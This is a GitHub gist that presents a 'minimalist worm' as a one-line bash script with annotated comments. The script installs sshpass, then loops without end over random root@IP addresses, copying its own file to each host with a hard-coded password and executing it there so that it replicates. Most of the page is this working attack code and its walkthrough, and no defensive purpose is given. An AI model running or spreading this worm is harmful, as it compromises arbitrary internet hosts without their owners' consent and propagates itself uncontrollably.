Skip to content

Instantly share code, notes, and snippets.

@ulissescastro
Created November 18, 2014 01:57
Show Gist options
  • Select an option

  • Save ulissescastro/befe8cddaf2aa2cb2187 to your computer and use it in GitHub Desktop.

Select an option

Save ulissescastro/befe8cddaf2aa2cb2187 to your computer and use it in GitHub Desktop.
Minimalist worm with ssh, sshpass, yum!
x=RANDOM%256; s=sshpass; c="$s -pPASS"; yum install $s -y; while :; do t=root@$[x].$[x].$[x].$[x]; $c scp w $t:; $c ssh $t "chmod +x w; ./w"; done
# random var
# x=RANDOM%256
# echo $[x]
# 117
# sshpassh executable
# s=sshpass
# command sshpass + param + password
# c="$s -pPASS";
# sshpass -pPASS
# sshpass root install without ask
# yum install $s -y;
# yum install sshpass -y;
# black magic!
# while infection, replication and remote execution loop for each infected host
# while :; do <commands> done
# root@<random ip>
# t=root@$[x].$[x].$[x].$[x];
# $ echo $t
# root@94.185.179.34
# copy "w" to user's home (root)
# $c scp w $t:; $c ssh $t "chmod +x w; ./w";
# sshpass -pPASS scp w root@94.185.179.34:;
# upload and execute, start it over
# $c ssh $t "chmod +x w; ./w";
# sshpass -pPASS root@94.185.179.34 "chmod +x w; ./w";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment